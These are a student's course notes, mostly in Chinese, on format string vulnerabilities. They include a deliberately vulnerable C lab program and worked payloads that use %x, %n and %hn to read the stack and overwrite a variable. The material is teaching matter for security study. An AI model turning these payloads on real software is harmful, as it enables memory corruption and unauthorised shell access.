Format String Vulnerability
软件安全原理和实践(本)2024-10-22 第 3-5 节 前面两节课讲了个高级 BROP,没听,但说不怎么考,但还是抽时间听一下
the attacker can perform read and write to arbitrary memory addresses
Variable Number of Arguments
以下均是 C++里的原理
printf
这类函数有个小特点,就是可以给他任意个参数
下面举个例子来解释其实现逻辑
下图这个函数会接收任意个参数,但是有一个 argcount
指明会输入多少个
printf 没有直接输入 argcount,是通过扫描第一个参数格式化字符串的 %,一个一个取出参数放进%来间接确定的
关于任意个参数的输入有四个重要的宏:va_start, va_copy, va_arg, va_end,以及一个类型对象 va_list
va_list
va_list 是一个类型,holding the information needed by the macros
声明的变量是一个指向参数的指针,对应上图里的 argptr
va_start
void va_start( va_list ap, parmN );
这是一个参数,初始化 va_list,使其指向第一个参数的位置,其位置是可以确定的,因为 caller 调用 callee 时函数参数是逆序压入 stack 的,第一个参数在最低的位置
va_arg
T va_arg( va_list ap, T );
用于遍历参数(将参数从 stack 读取出来),T
用于指示参数的类型,不同类型在 stack 上的宽度是不一样的
每次读取后 va_list 会移动到下一个未读取的参数
va_end
void va_end( va_list ap );
free 掉 va_list
漏洞
如果 argcount 大了,我们就能读取到 stack 上的其它东西了
How To Exploit
准备攻击的程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
long int id = 1;
void get_shell()
{
if(id == 1234)
system("/bin/sh");
}
void echo()
{
printf("You can type exactly 256 charecters ...\n");
printf("Address of id is %p \n", &id);
char buffer[256];
read(STDIN_FILENO, buffer, 256);
printf(buffer);
printf("id is %ld \n",id);
puts("done");
return;
}
int main(int argc, char* argv[])
{
echo();
return 0;
}
stack 情况
读 stack
我们输入 AAAA.%x.%x.%x.%x.%x.%x.%x
会得到 AAAA.ffffd09c.100.80491fe.ffffd144.f7fbe780.f7d93374.41414141
因为 printf(buffer);
时 printf 会扫描这个字符串,此时这个字符串的地址(即 buffer 地址)作为 printf 唯一的参数,自然是被 va_list 指向的,所以每一个%对应一次 va_list 移动,最后的 41414141 意味着我们最后移动到了 buffer 的位置
写 stack
我们输入 0x804c02c.%x.%x.%x.%x.%x.%x.%n
,前面那个地址是 id 变量的地址
%n 会输入一个变量地址,printf 会将 %n 之前已打印的字符数量交给这个变量
到 %n 时 va_list 刚好指向了 buff,即 0x804c02c,然后变量 id 就会被修改了
我们接下来来点更好玩的
Change Data to Arbitrary Value
pad
我们要利用到 printf 格式化字符串的机制 pad,例如 %.5d
会保证输出为 5 个数字,不足前面就补 0,%5d
则前面补空格
这样就能随意修改在终端上输出的字符数量,即修改 %n
对应的变量
例如我们输入 0x804c02c%8x%8x%8x%8x%8x%1000000x%n
,能将 id 修改为 1000044
很明显这个太慢了,id 这个是有四个 byte 的,我们尝试分两部分,分别修改
%hn
只会输入 short 类型的指针地址,即 2byte%hhn
只会输入 char 类型的指针地址,即 1byte
这样 pad 的数量就少多了:
payload = b""
payload += p32(id_addr + 2)
payload += b"@@@@"
payload += p32(id_addr)
payload += b"%8x%8x%8x%8x%8x"
payload += b"%26196x%hn%4369x%hn"
此时 stack 长这样
|ffffcfac|100|80491fe|ffffd054|f7fbe780|f7d93374|804c02e|@@@@|804c02c|%8x %8x %8x %8x %8x %26196x %hn %4369x %hn
最后 id 前后两部分分别被修改为:
- 4 (address) + 4 (@@@@) + 4 (address) + 5 × 8 + 26196 = 26248 = 0×6688
- 26248 + 4369 = 30617 = 0×7799
即 id 修改为了 0x66887799
In fact we can use $ to move va_list directly.
%7$x will move the va_list to the seventh position in the stack
On X86-64
爬,64 位是用 reg 传递参数的